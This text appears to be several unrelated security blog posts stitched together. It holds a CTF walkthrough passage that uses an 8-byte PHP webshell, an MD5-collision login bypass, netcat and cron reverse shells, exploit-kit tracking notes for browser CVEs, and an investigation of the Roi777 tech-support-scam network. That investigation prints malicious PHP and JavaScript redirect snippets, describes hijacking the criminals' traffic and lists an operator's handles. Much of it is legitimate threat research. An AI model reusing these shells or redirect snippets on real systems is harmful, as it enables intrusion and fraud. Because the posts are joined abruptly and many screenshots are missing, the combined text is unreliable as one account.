Another big trick. What’s this image? What’s his purpose? Again I spent another day analyzing this image without any luck…after a while I tried to insert what is written in that caption “Cyberdog Sledding Portal” inside the User-Agent header and…

So, this little bastard was expecting some password to open it up. Again, bastard!

Back on track again, we need to go to another location: /myuploader_priv. Seems pretty easy uh? Upload a PHP reverse shell and we go in. Sadly, for the second time, no:

I tried to upload every kind of files, of every size, tried changing every single header but nothing. Every file I tried to upload was always too large. I went manually and tried to upload files containing one, two, three characters and so I was able to get the max allowed file size that is 8 BYTES. Seriously? What the f**ck is supposed to mean? No way to upload PHP shells or reverse shells because, as far as I know, the smallest code execution snippet is this: <?=`$_GET[1]`?>. No way to fit in this ridiculously 8 bytes limit. So, how we can step forward? Simple, manually.

So, I found that the only commands we can execute are limited to two characters long, so with <?=’ls’ inside a file named sploit.php we found:

That was hard.

But nothing compared to this:

Ok, I really need a hint :-|

After checking this login form and, in particular, that piece of code I really wanted to die.

How can I suppose to break this one?

Another three days passed and I was asking for some help on every single social media I had. Thanks to this guy that pointed me in this right direction, I found this useful python script that can generate md5 collisions.

But, yeah, it’s not that easy, right?

They’re binary and we can’t send them directly to the HTTP form without encoding problems that, essentially, will break the md5 signature…

Maybe we can try to encode them:

And send them to their good form:

Please, kill me and give me flag…not now:

Basically we have a command execution form:

So we can have a shell via netcat. Luckily we have a good version of it:

And from now on, it’s pretty easy. Standard usual enumerating stuff:

We have a username and we have a good wordlist: Rockyou.txt so we can brute force it. Sadly this was long, very long. But finally we had a shot:

We can now have a real shell with lowpriv access:

Found and fixed a cronjob and modified it to send back a python reverse shell with root privileges:

And finally:

Yeah. Try Harder.

The CVE-2018-8174 is a bug that allows remote code execution in the VBScript Engine. Found exploited in the wild as a 0day via Word documents, announced by Qihoo360 on April 20, 2018, patched by Microsoft on May 8, 2018 and explained in details by Kaspersky the day after.

A Proof of Concept for Internet Explorer 11 on Windows 7 has been shared publicly 3 days ago, it’s now beeing integrated in Browser Exploit Kits.

This will replace CVE-2016-0189 from july 2016 and might shake the Drive-By landscape for the coming months.

RIG:

Spotted on the 2018-05-25

“TakeThat” wrote yesterday (2018-05-24) that he has integrated it and that infection rate has increased:

Добавлен CVE-2018-8174
Add CVE-2018-8174
Пробив/rate +
[redacted]@exploit.im
[redacted]@xmpp.jp

And indeed today:

Files: PCAP on VT

Acknowledgement:

• Thanks to William Metcalf and Frank Ruiz (FoxIT InTELL) for their help.

Magnitude:

Spotted on the 2018-06-02

After a week without buying traffic, Magnitude is active again, now with CVE-2018-8174:

Note: Magniber is back (after 1 month and half of GandCrab) in this infection chain and is now (as GandCrab) also accepting Dash cryptocurrency as payment

Files: Fiddler on VT (note: some proxy were used)

GrandSoft:

Spotted by Joseph Chen on 2018-06-14

Files: Fiddler on VT - Pcap on VT

Acknowledgement:

• Thanks to Joseph Chen who spotted the new exploit and allowed the capture of this traffic.

Edits:

• 2018-06-19 - Added the name for the Loader
  

Fallout:

Spotted on 2018-06-30, most probably there since 2018-06-16

Files: Fiddler on VT - Pcap on VT

Acknowledgement:

• Thanks to Nao_Sec for the initial referer. Thanks to Joseph Chen for additionnal inputs

Kaixin EK:

Spotted by JayK on 2018-07-12

Files: Fiddler on VT - Pcap on VT

Hunter EK:

Files: Fiddler on VT

Acknowledgement:

• Thanks to Frank Ruiz (FoxIT InTELL) for allowing this capture.

Greenflash Sundown:

Spotted by Chaoying Liu on 2018-09-05

Acknowledgement:

• Thanks to Chaoying Liu for the CVE identification.

Read More:
The King is dead. Long live the King! - 2018-05-09 - SecureList
Analysis of CVE-2018-8174 VBScript 0day - 2018-05-09 - Qihoo360

Post publication reading:
Rig Exploit Kit Now Using CVE-2018-8174 to Deliver Monero Miner - 2018-05-31 - Trend Micro
Delving deep into VBScript - Analysis of CVE-2018-8174 exploitation - 2018-07-03 - SecureList
Hello “Fallout Exploit Kit” - 2018-09-01 - Nao_Sec

The CVE-2018-4878 is a bug that allows remote code execution in Flash Player up to 28.0.0.137, spotted in the wild as a 0day, announced by the South-Korean CERT on the 31st of January. Patched on February 6, 2018 with ASPB18-03. Seen in malspam campaign two weeks after, it’s now beeing integrated in Exploit Kits.

This is, as far as i know, the first new working RCE integrated in non targeted Exploit Kit¹ since CVE-2016-0189 in july 2016 (!).

GreenFlash Sundown:

Spotted on the 2018-03-09 (but probably there since several days)

GreenFlash is a private heavily modified version of Sundown EK spotted in october 2016 by Trendmicro. It’s beeing exclusively used by the “WordsJS” (aka “ShadowGate”) group. This group is getting traffic from crompromised OpenRevive/OpenX advertising server since at least may 2015.

Some references about the activities of this group:

Files: Fiddler on VT - Pcap on VT (note: some https proxies were used)
IOCs: MISP Json

If you saw this kind of traffic in your perimeter/telemetry, i’d be happy to get more referer

Edits:

• 2018-03-10 - 15:40 GMT - Removed mention of steganography. @smogoreli: “simple offset in the dat file”
  

Acknowledgement:

• Thanks to Genwei Jiang (FireEye) for the CVE identification.
• Thanks to Joseph Chen for inputs allowing the capture of a fresh pass of GreenFlash Sundown.
• Thanks to @GelosSnake & @baberpervez2 for the ping on suspicious activity that could be associated to “WordsJS” (aka “ShadowGate”) and triggered those checks.
  

Magnitude:

Spotted on the 2018-04-01

Magnitude is using the WSH injection described by Matt Nelson in August 2017.

Payload is the Magniber Ransomware, first spotted in the wild in october 2017, in a context documented by Trendmicro.

Select OSINT about this infection chain:

Files: Fiddler on VT - Pcap on VT (note: some https proxies were used)
IOCs: MISP Json (note: all those are changing almost hourly)

RIG:

Spotted on the 2018-04-09

Replying to a customer complaining yesterday (2018-04-08) about the lack of CVE-2018-4878, “TakeThat” wrote early this morning (2018-04-09):

Чистки выполняются вовремя
Конечно мы добавили флеш CVE-2018-4878 он доступен на подписке от недели

Translated by google as:

Cleaning is done on time
Of course, we added the flash CVE-2018-4878 it is available on subscription from the week

And indeed today as spotted by @nao_sec:

Fallout:

Spotted on 2018-06-28, most probably there since 2018-06-16

Despite seeing code pointing to it, we did not saw it properly called in traffic.

Edits:

• 2018-04-10 - 10:05 GMT - Modified to reflect payload id: Urausy. Not seen since 2015-06-09
  

Acknowledgement:

• Thanks to Kimberly for the payload identification.

Disclaimer: This post is hosted here as a courtesy to the author who prefers to remain anonymous. MDNC was not involved in any way with this study.

Introduction

EITest is one of the longest malicious delivery campaigns that has continued to evolve. In the spring of 2017, it started redirecting Internet Explorer users to tech support scams in addition to the existing redirections with the fake Chrome fonts.

We believe the tech support scam campaign we are describing in this post is one of the most widespread and well organized because it relies on several schemes in addition to EITest, such as traffic redirection using a distributed system infrastructure.

Actors behind this campaign are generating hundreds of domains per day.The only purpose of those domains names is to redirect users to tech support scams or malicious websites.

Highlights

• We were able to redirect a considerable amount of traffic destined to Tech Support Scam websites to a controlled infrastructure for a period of 8 hours. After they fixed the flaw that allowed us to do that, we were able to bypass the new protection in place to take control again of the traffic for another 6 hours.

• We discovered a network of bots controlled by a fraudulent Traffic Monetization company

• We’ve collected a list of 1562+1294 compromised websites responsible for the redirections of users to scams

• The actors are generating over 100 new domains each day to serve TSS via Freenom

The scam

The landing page sometimes changes, but always has the same goal: trying to take control of the browser so the user cannot close it, in hopes that they will panic and call the phone number for assistance.

Tech support scammer (TSS) are sometimes changing the landing page to better abuse the browser. Anyhow, this is what the current landing page looks like.

People that call those numbers will be told how to install a remote control software so the interlocutor can show Windows log events and services to the user, pretending that those are signs of an infected machine. The crooks will then offer a remote reparation service varying from $100 to $600.

Look at different redirection mechanisms

While analyzing the different ways for a user to be redirected to those scam support pages that try to hijack the browsers, we quickly documented multiple different redirection schemes using many different infrastructure. For this reason, we believe that many differents actors are responsible for sending traffic to the redirection network. Let’s begin by describing the most prolific methods of redirections.

EITest Redirection

EITest infected websites have the capability of injecting javascript in page upon loading. We can observe redirections to tech support scam (TSS) websites since 2017. The injection that occurs when the victim’s user-agent is IE, Edge or Firefox, is the following:

This script will, after verifying that it is running in a real browser, set a cookie named “popundr” and redirect the user at a decoy URL, hxxp://checkalldir.bid/index/?MGjJPm in this case. Decoy domains injected resolve to IP 204.155.28.5, in a range belonging to KING-SERVERS (AS 14576). Since 2018-02-26, injected domains were resolving to IP 54.36.180.110 at OVH instead (AS16276). It later changed back to 162.244.35.33, where TSS domains are now pointing.

This EITest campaign is generating ~1 new domain per day (usually with the TLD .bid). Those are easily recognizable by their patterns “/?{6 characters}” in the URL, but the pattern is changing about 4 times per day. The reason they are using a decoy URL and a specific pattern is so they can be routed through their Keitaro TDS (traffic distribution system). In fact, we can browse to the panel of this TDS by accessing it with the IP address at URN /admin:

Routing requests to their TDS before landing on the final destination allows them to have better control of the traffic and manage multiple campaigns. They are also doing more filtering on who will be redirected through this URL. We know that they are verifying at least the user-agent of the requester before allowing any redirection. Here is what will happen when the victims get redirected to one of those domains:

In this case, querying the decoy EITest URL with an user-agent set to “MSIE” was enough for the TDS to send a 302 redirection to the landing page: hxxp://coloured-canvas.tk/?number=800-803-1741

Crypper Redirection

This campaign generates about 165 redirections / hour. Website luyengame.com was responsible for 904 redirections (68%).

For this redirection, we were able to get our hands on the malicious PHP file that is responsible for the generation of the script that redirects users:

The PHP code will start by hiding any errors from the output and get the user-agent and referer of the visitor. Prior to the creation of the javascript that will redirect the user, the code checks that the visitor is not a bot (crawler) and that the visitor is not on a mobile device. If those checks pass, it will fetch the current Tech Support Scam (TSS) domain hxxp://roi777.com/domain.php and append the path “/index/?2661511868997” to it.

Finally, the function “redirectdd” is called with the created URL and the script will output with the latest domain that roi777.com provided:

The script then sets a cookie “1561065164894_CRYPPER” and redirects the user with window.location. Although simple, this script is efficient enough to redirect many visitors.

Biz Redirection

This campaign generates about 1888 redirections / hour. Website myilifestyle.com was responsible for 1199 redirections (8%) and www.fertilitychef.com for 1091 (7%) of the redirections.

This redirection is distinguishable with the added path to the TSS domain: “/index/?2171506271081”.

The script will fetch another script from hxxp://5.45.67.97/1/jquery.js.php and run it, leading to a redirection:

Plugin Redirection

This campaign generates about 184 redirections / hour. Website Archive-s54.info was responsible for 119 redirections (8%).

This campaign has malicious Javascript slightly obfuscated by using the “reverse string” function:

There are a few variants of this script containing different URLs. By applying the reverse string function again on the string containing the malicious URL, we were able to identified all of them:

• hxxp://kodmax.com/wp-content/plugins/twitter-widget-pro/lib/
• hxxp://www.katiatenti.com/wp-content/plugins/sydney-toolbox/inc/
• hxxp://emarketing-immobilier.com/wp-content/plugins/gotmls/safe-load/
• hxxp://stefanialeto.it/wp-content/plugins/flexible-lightbox/css/

Once visited, those PHP files will set a cookie and redirect the user to the TSS landing page with the parameter “/index/?2101505838590” without further verification:

Clearly, those four (4) website redirecting users have been hacked. One of them has the directory listing enabled, allowing us to see that the malicious file has been put there on 2017-11-17. It is probably at this date that this campaign started. Also, as another malware researcher did, we can search for some of the unique constants in the javascript file on Google and find more than 8000 indexed websites that are apparently infected with this script:

Sometimes, the script gets injected multiple times within a page or in a way that it doesn’t work. For example, this website got defaced with the badly injected javascript:

We went one step further when we realized that those malicious PHP files redirecting the users were logging every queries received in a .txt file accessible on the same server. For each redirected user, we had the timestamp of the query, their IP address, referrer and their user-agent. We then downloaded the logs for each of those 4 websites to index them in a database. To consider a request unique, we looked at the hash of: The timestamp of the request + the victim IP + the referer domain name.

This allowed us to determine that more than 7400 unique redirections happened since february 20.

Country of redirected users for the ‘Plugin’ redirection

The campaign is still going on so the numbers are constantly increasing. We also looked at unique domains in the referer field. We spotted ~1294 different domains redirected those users. The ones that redirected the most users are:

• Revista.academiamaestre.es (5678 redirections)
• admission.covenantuniversity.edu.ng (1947 redirections)
• blog.apartmentfinder.com (1844 redirections)
• rockthedirt.com (1566 redirections)

Location For Expert Redirection

Some website are redirecting users to TSS domains with the following path: “/index/?1641501770611”. It is the result of running this malicious javascript:

After deobfuscation, the code becomes readable and we can see the redirection:

The client will query the URL at hxxp://ads.locationforexpert.com/b.php (the filename often changes). The remote script then returns the URL where the user will be redirected.

ContainerRU Redirection

This campaign generates about 335 redirections / hour. Website www.cursosortografia.com was responsible for 158 redirections (6%) and cursosaprende.com for 142 redirections (5%).

This Javascript found was obfuscated by hiding the content of the code in a fake image encoded in base64:

After deobfuscation, we can analyse the code:

The script will verify If the navigator of the user is either Chrome or Firefox. In this scenario, the user is redirected to an URL serving a payload. If the browser is Internet Explorer, the user will be redirected to the following URL: hxxp://div-class-container.ru/index5.php, which will in turn redirect the user with an HTTP 301 to the TSS page with the parameter “/index/?801492446045”:

In all cases, if the domain name of the actual infected website contains “edu”, “gov” or “mil”, the script will not redirect the user. The IP address where this redirecting script is hosted (193.201.227.193) has been linked to unwanted redirects in late 2017.

Doorways redirections

What is a Doorway?

A doorway script is usually an obfuscated PHP script that can trick search engines crawler to perform black hat SEO by modifying the content of a website to specific combination of keywords. However, the one used in this campaign is pretty advanced and allows the owner to basically do whatever he wants with the infected websites, such as injecting content. We discovered that he will often ‘upgrade’ those doorway scripts to PHP backdoors.

We also saw other prolific campaigns for which we don’t have the redirections scripts. For instance, the one generating the largest amount of traffic (URLs are recognizable with “/index/?1051496225880”) has been responsible for 43503 redirections over the 8 hours period (5437 redirections per hour) and represents 40% of the overwall traffic seen:

The websites who redirected users for this largest campaign is mostly archive-s54.info with 18331 redirects, followed by:

• sharesix.com (947 redirections)
• www.gowatchfreemovies.to (919 redirections)
• myilifestyle.com (871 redirections)
• www.primewire.ag (862 redirections)
• Sharerepo.com (856 redirections)
• www.fertilitychef.com (820 redirections)
• Filenuke.com (800 redirections)

We believe that those website have the doorways backdoor installed. Most of them are configured to get to latest TSS URL to : hxxp://fped8.org/doorways/settings_v2.php?clientid=<ID>&ineednewurltoredirect=yes

This website will return the appropriate domain to redirect the user:

Other redirections

By monitoring the backend servers, we discovered that the same infrastructure also serves for other malicious activities.

Chrome plugin

We’ve also observed some redirections chains from malvertising leading to fake chrome extensions. For example, one customer of PopAds, whose account is now banned, was redirecting clients to a TDS system at this URL: hxxp://162.244.35.210/newantikas/?cP65FB. After multiple redirections, the users landed on the website livelifeo.top, which resolved to IPs belonging to the back-end server we were monitoring:

After more digging into domains associated to the same scam, we also found another version of the landing page that tried to trick users to those malicious Chrome extensions:

The back-end server, owned by Roi777 was also responsible for the traffic generated by those malicious Chrome extensions.

We also found a control panel that allowed them to categorize the status of those applications. Fortunately for us, the developer had no idea how to properly protect this panel. The password verification function was implemented in client-side Javascript.

We later found those Chrome extension in the Chrome Store infected and heavily obfuscated. The purpose of them was to randomly redirect the user while browsing. The page where users get redirected can vary from nuisance advertisement to fake software installation page and TSS.

Anyhow, those addons are no longer being pushed and the page is no longer being updated. The actors probably moved to something else.

Pinterest

We also found some links to TSS on Pinterest: jeanclementcom.us has been registered with the email address [email protected], like many other domains name hosted on Roi777 infrastructure.

Android applications

Malicious APKs are also found to be served when browsing to a domain hosted on his infrastructure : fped8.org/mob/antivirus/1/en/index.php

The payload is then downloaded from: fped8.org/mob/antivirus/1/en/downloader.php. Once installed, the application will contact another domain hosted on the same server (hxxp://alija.xyz/panel/).

This APK has the ability to redirect users to fraudulent ads and potentially TSS.

Analysis of the backend traffic

By monitoring differents TDS and back-end server serving those TSS campaigns, we saw a lot of different traffic type linked to differents malicious activities.Not only is this actor involved in the selling of fake software and redirecting to scams, but also in severals webshells and doorways backdoors, allowing him to control a vast network of compromised websites. This section take a look at those differents access methods and how they are leveraged.

Uses of scams domains

We observed TSS domains usually having the TLD .TK changing more than 100 times per day for this campaign. In the last 30 days only, we were able to log 2912 of those domains. Here is the most common IPs where they are pointing:

• 999 of them (35%) are resolving to 204.155.28.5 (King Servers)
• 878 of them (30%) are resolving to 185.159.83.47 (King Servers)
• 162 of them (5%) are resolving to 54.36.151.52 (OVH)

PHP Backdoor

We discovered that many “bots” were reporting to the back-end server belonging to Roi777. In fact we account for a total of 1562 infected websites reporting to his server. There are two types of backdoors that report to the infrastructure we monitored.

The first one being Doorways.We counted 386 differents website constantly asking the server for content to inject.

For the other type of backdoor, we observed 1176 differents domains infected reporting to the server, also asking for content to inject. Here is some stats about the CMS they used:

• WordPress : 211
• OpenCart: 41
• Joomla: 19
• Magento: 1
• Unknown: 904

This backdoor is described in the next section.

Doorways to PHP backdoor

The Doorways have the capability to fetch for instruction and code to execute. We noticed that many of them were querying fped8.org/doorways/settings_v2.php. This URL, when queried with the good parameters, returns code to execute. This allowed us to saw how they can deploy PHP shell through their Doorways:

The content returned contains the backdoor encoded in base64, rot13 and base64 again. After de-obfuscation, we got this code:

The first part of this malicious PHP script will query hxxp://kost8med.org/get.php with the user-agent of the current visitor requesting the page and it’s IP address. If a content is returned, it will be outputted in the content of the page. That said, the owner of the backdoor can inject any code they want into the page. Again, kost8med.org is resolving to 162.244.35.30 which is an IP address belonging to Roi777.

The second part of the script contains a backdoor function executing every request received in the “c” field of the POST parameter of the request if the parameter “p” is also set with the correct password.

The password validation is done in a strange way. The received parameter “p” will be hashed twice before being compared to the hardcoded MD5 hash. However both the idea and the implementation is deficient here, because hashing twice is not more secure in this situation and the comparison is done with “==” instead of “===” (strict comparison), plus the fact that MD5 is no longer considered secure.

It took less than 30 mins to crack the actual password allowing the control of those backdoors. We must say that the speciality of those guys is clearly not security, but rather the opposite.

On a Wordpress installation, this backdoor is usually found in those files:

• wp-config.php
• index.php
• wp-blog-header.php
• Footer.php

We also found what looks like the administrator panel on the same server that they are reporting to:

Other backdoors

Many of the websites that were infected by the original backdoor we were investigating on were also infected with other PHP malicious scripts. However, we don’t think those other scripts were linked to this campaign.

Infection vector (plugin that is hacked, infected path)

It is hard to know for sure how those CMS has been infected. One thing we did notice on lot of them is that the malicious code was in the file footer.php of a WordPress plugins named Genesis. It turns out that this plugin was known to be vulnerable against Arbitrary File Upload in late 2016. However a lot of them have been exploited by other means, such as with other vulnerable plugins and passwords stealings / brute forcing.

Redirecting the traffic flow (or dethroning the king)

By looking at requests sent to the back-end servers, we noticed curious GET requests among a the traffic. The GET requests in question were formatted like the following : hxxps://wowbelieves.us/tech_supportv2.php?update_domain=<Tech support Scam domain>

The update_domain parameter immediately drew our attention, so we tried to do a query to the same PHP file with a domain under our control as the value of this parameter. Immediately, our server started receiving traffic.

So apparently, calls to this PHP file change to current domain published for TSS that the backdoors are relying on to redirect the users. In fact, we were able to change the domain returned by roi777.com/domain.php, where multiple backdoors are fetching the current TSS domain. As said before, those domains are changing more than 100 times a day, and we observed that they have a script calling /tech_supportv2.php frequently so users can be redirected to the latest domain. That said, when we changed the TSS domain to point to a domain under our control, it took only few minutes before their script updated it with the real TSS, overwriting ours at the same time. To keep the traffic going to our server, we then had to query multiple time per minute this webpage, and it sure worked.

After the initial 8 hours in which we had control of most of the traffic, they updated tech_supportv2.php and their script calling it so that the parameters expect were now the domain name to update, plus a key: hxxps://wowbelieves.us/tech_supportv2.php?update_domain=<Tech support Scam domain>&key=<Hash MD5>

To fix the aberrant lack of security in their mechanism to update the current TSS domains, they added this key to the parameters so our previous requests weren’t working anymore.

What is this ‘key’ parameter ?

The key parameter was 32 characters long, so we immediately thought of an MD5 hash. We tried to hash the current domain to see if it was matching, but no luck. We also noticed that the ‘key’ value (or hash) was different for each TSS domain they were updating and we were able replay them without problem. Given this information, it looked like it they were probably using some sort of salting with the domain name before hashing it.

Knowing a part of the hashed value (the domain name), and giving their expertise in cryptography, we started a mask attack locally with hashcat. It took us less than 10 seconds to reveal the salt used. The MD5 hash was the result of the domain name concatenated to the string: “ropl”. This allowed us to take the control back (on and off) of the traffic for another 7 hours. However, the stats used above for webshells and redirections are only based on the first 8 hours of collection.

Note that we didn’t take advantage of the redirected traffic, we instead logged every request made and temporarily neutralized the campaigns by avoiding any redirections to malicious websites.

The first time we redirected the traffic, we collected more than 108700 requests (8 hours period). The second attempt to redirect the traffic allowed us to log more than 55000 requests (6 hours).

By combining both data sets, we did some statistics:

Every request made by IP 89.108.105.13 (Russia) was excluded from the graph because it generated by itself 48256 requests to /index/api.php and we believe that this traffic is generated by one of their server that control doorways on their infrastructure.

Here are the top 15 most seen websites in the referer field (probably infected websites):

Here are the most seen user-agents in those requests:

It’s interesting to note that a lot of requests were coming from Kodi (Open Source Home Theater Software), followed by Internet Explorer browser.

Link to Roi777

Considering the variety of coding styles, providers, IPs used and infected websites, we believe that many actors are involved in the traffic redirection. However, it is clear that the one known as roi777 has a central role in this whole scheme. As advertised on his website, he’s buying any type of traffic after all.

How does all of that links to Roi777 ?

Redirections chains explained above will not always redirect users to TSS. In fact, they are often filtering clients base on GeoIP and user-agent. When the traffic is unwanted for TSS, the redirection chain will often lead to : hxxp://balans.shahterworld.org.

The parameters passed to those requests is another indication that this campaign is lead by roi777:
hxxp://balans.shahterworld.org/?utm_medium=4c23b9fecf7dfd895dfe0da99e857f3bee8e9d42&utm_campaign=roi777_cloack

Also, almost all of the redirections scripts are either pointing directly to roi777.com/domain.php to fetch the latest domain or they are reporting to this same backend server, waiting for instruction.

We found an interesting discussion that happened on 06-01-2018 on this Russian forum[^1] involving the owner of the company Roi777 (using the nickname bagussusu) and another actor (azuluk) providing him backdoors, doorways and other elements mean to increase the number of redirected users. You can read the translated conversation here. In summary, we can learn that :

• They were involved in the traffic generated by some Chrome Extension
• They are using Quiwi / WebMoney financial services to transfer money.
• Their main offer is currently Tech Support Scam.
• Bagussusu is accepting a minimum trade of 1000 webshells and can convert them to Doorways
• Azuluk had 30GB of mail accounts+passwords ready to sell. 5 millions of those were corporate accounts
• Bagussusu is also using SPAM to increase the traffic.
• Bagussusu have some employees working for him (developers).
• The return on investment is apparently better in France (people get scammed easier).
• Azuluk is using JakoDorgen to create Doorways.

• Bagussusu recommands to fetch the latest TSS domain to his website with this PHP code:

  $domain = file_get_contents('http://roi777.com/domain.php');

• They also provide other interesting details such as the IP of the TDS

Who is this “Roi777” ?

Being a young adult living in Russia, you can also find him using the following identities:

• https://t.me/roi777Eng
• Tipatop
• ICQ #: 660-349-155
• ICQ #: 380-046-929
• Skype: live: compiknews
• Jabber: [email protected]
• Telegram: @roi777Ru
• [email protected]
• SocMaster

This non-exhaustive list is some of the most common pseudonyms he uses online. He operates a company that does “Traffic Monetization”. We now know how this traffic is brought back to his network (by illegals means) and what it is for (fraud).

Roi777 Website

His official website advertises some Success stories !

Success stories include traffic generated by Doorways

And there’s also a Keitaro TDS installed directly on /tds/:

IOCs:

Most of the domains for domains used for scams are being resolved by ns1.rakamakao.org and ns2.rakamakao.org (195.245.113.186 & 195.245.113.187). The PowerAdmin administration tool they are using is accessible on the same servers:

Also, AS14576 Bullet proof hoster: King Servers doesn’t seems to host any legitimate services except of cyber-crime on their infrastructure.

Conclusion

By distributing fake applications, using underground malware distribution campaigns, and leveraging malvertisements, the actors behind the company Roi777 are trying to get as much traffic as they can, by any means possible. They are well active and always willing to get more traffic redirected to their scams so they can increase their income.

The EITest campaign, in part responsible for the TSS redirections, is still active even if it is one of the oldest campaign running and the backend servers IP have previous been revealed.

[^1]https[://forum.exploit[.in/index.php?act=ST&f=75&t=134802&st=0)

Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) —https://t.co/DnwQt5giMB

— Theori (@theori_io) 4 janvier 2017

Sundown:
2017-01-06

Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06 No exploitation here though

Fiddler: Sundown_Edge__CVE-2016-7201_170106.zip (password is malware)

Out of topic: expected payload in that infection chain was zloader. (other payload seen in past weeks dropped via Sundown : Zeus Panda, Neutrino Bot, Dreambot, Chthonic, Andromeda, Smokebot, Betabot, Remcos, IAP, RTM, Kronos, Bitcoin Miner)

Neutrino:
2017-01-14
--
Thanks to Trendmicro for the multiple inputs that allowed me to keep plugged to this infection chain.
--
So as explained previously Neutrino is now in full private mode and fueled via Malvertising bought to several ad agencies (e.g. ZeroPark, ClickAdu, PropellerAds, HillTopAds) by a Traffer actor which I tag as NeutrAds. Their infection chain is now accepting/redirecting Microsoft Edge Browser as well.
Without big surprise a new exploit is included in the Flash bundle : nw27 >  CVE-2016-7200/7201.

NeutrAds redirect is now  accepting Edge traffic - 2017-01-14

Neutrino Embedding CVE-2016-7200/7201 - 2017-01-14 (Neutrino-v flash ran into Maciej ‘s Neutrino decoder )

Extracted CVE-2016-7200/7201  elements - 2017-01-14

Note: i did not get infection with
- Edge 25.10586.0.0 / EdgeHTML 13.10586
- Edge 20.10240.16384.0

Fiddler&Pcap : Neutrino-v_CVE-2016-72007201_170114.zip  (Password is malware)
Extracted exploits: Neutrino_2017-01-14.zip (Password is malware)

reveiled[.space|45.32.113.97 - NeutrAds Filtering Redirector
vfwdgpx.amentionq[.win|149.56.115.166 - Neutrino

Payload in that pass : Gootkit - b5567655caabb75af68f6ea33c7a22dbc1a6006ca427da6be0066c093f592610
Associated C2 :
buyyou[.org | 204.44.118.228
felixesedit[.com
fastfuriedts[.org
monobrosexeld[.org

So those days, in Asia you'll most probably get Cerber and in EU/NA you'll most probably get Gootkit

MISP : taxonomy illustrating some NeutrAds into Neutrino-v recorded activity (and post infection)

Kaixin:
2017-01-15 Finding by Simon Choi

CVE-2016-7200/7201 code fired by Kaixin - 2017-01-16

Fiddler : Kaixin_2017-01-16.zip (Password is malware)

Out of topic: payload in another pass (not fired by this exploit) was Blackmoon/Banbra 6c919213b5318cdb60d67a4b4ace709dfb7e544982c0e101c8526eff067c8332
Callback:
http://r.pengyou[.com/fcg-bin/cgi_get_portrait.fcg?uins=1145265195

http://67.198.186[.254/ca.php?m=525441744D5441744D6A63744E3055744D554D745130493D&h=437

Edits:
2016-11-10 - Adding information about mitigation on Edge
2016-11-14 - Adding Neutrino
2016-11-16 - Fixed the screenshot for Neutrino. Was stating CVE-2016-4117 was there. It's not
2016-11-16 - Adding Kaixin

Read More:
Three roads lead to Rome - Qihoo360 - 2016-11-29
Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) - Theori-io - 2017-01-04

RIG += internal TDS :

RIG += RC4 encryption, dll drop and CVE-2016-0189:

Neutrino waves goodbye ?

“we are closed. no new rents, no extends more”

Side reminder : Neutrino disappeared from march 2014 till november 2014

A Neutrino Variant

 function k2(k) {
     var y = a(e + "." + e + "Request.5.1");
     y.setProxy(n);
     y.open("GET", k(1), n);
     y.Option(n) = k(2);
     y.send();
     if (200 == y.status) return Rf(y.responseText, k(n))
 };

The actor behind this chain is the same as the one featured in the Malwarebytes Neutrino EK: more Flash trickery post.

Empire Pack:

[Speculation]
I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections.
[/Speculation]

• api.php : historical RIG
• api3.php : RIG with internal TDS [ 2016-10-08 :  This is Empire Pack. Appears to be using also remote_api after this post went live. I flag it as RIG-E ]
• remote_api.php : RIG-v

But Empire Pack might be api3, remote_api, or a bit of both of them.

By the way RIG has also (as Nuclear and Angler endup doing) added IP Whitelisting on API calls to avoid easy EK tracking from there.   :-" (Only whitelisted IP - from declared redirector or external TDS - can query the API to get the current landing)

Conclusion

Let’s just conclude this post with statistics pages of two Neutrino threads

Picture 18: Neutrino stats - Aus focused thread - 2016-07-15

Picture 19: Neutrino stats on 1 Million traffic - 2016-06-09

“We will be known forever by the tracks we leave”
Santee Sioux Tribe

Some IOCs

Date	Domain	IP	Comment
2016-10-01	szsiul.bluekill[.]top	137.74.55.6	Neutrino-v
2016-10-01	twqivrisa.pinkargue[.]top	137.74.55.7	Neutrino-v
2016-10-01	u0e1.wzpub4q7q[.]top	185.117.73.80	RIG-E (Empire Pack)
2016-10-01	adspixel[.]site	45.63.100.224	NeutrAds Redirector
2016-09-30	re.flighteducationfinancecompany[.]com	109.234.37.218	RIG-v
2016-09-28	add.alislameyah[.]org	193.124.117.13	RIG-v
2016-09-28	lovesdeals[.]ml	198.199.124.116	RIG-v
2016-09-27	dns.helicopterdog[.]com	195.133.201.23	RIG
2016-09-26	sv.flickscoop[.]net	195.133.201.41	RIG
2016-09-26	red.truewestcarpetcare[.]com	195.133.201.11	RIG-v
2016-09-26	oitutn.yellowcarry[.]top	78.46.167.130	Neutrino

Acknowledgements

Thanks Malc0de, Joseph C Chen (Trendmicro), Will Metcalf ( EmergingThreat/Proofpoint) for their inputs and help on multiple aspect of this post.

Edits

2016-10-03 :
Removed limitation to KOR and TWN for Neutrino-v use by NeutrAds as Trendmicro informed me they are now seeing them in other Geos.
Added explanation about the IP whitelisting on RIG API (it was not clear)
2016-10-08 :
Updated with gained information on Empire Pack
2016-11-01 :
RIG standard is now also using the pattern introduces past week by RIG-v. It's now in version 4.
https://twitter.com/kafeine/status/790482708870864896

RIG panel

The only instance of RIG using old pattern is Empire Pack (which previously could be guessed by domains pattern)
2016-11-18 : Empire (RIG-E) is now using RC4 encoding as well. (still on old pattern and landing)

RIG-E Behavioral

2016-12-03
RIG-v has increased filtering on IP ranges and added a pre-landing to filter out non IE traffic.

2016-12-03 RIG-v Pre-landing

Read More

RIG’s Facelift - 2016-09-30 - SpiderLabs
Is it the End of Angler ? - 2016-06-11
Neutrino : The come back ! (or Job314 the Alter EK) - 2014-11-01
Hello Neutrino ! - 2013-06-07
The path to infection - Eye glance at the first line of “Russian Underground” - 2012-12-05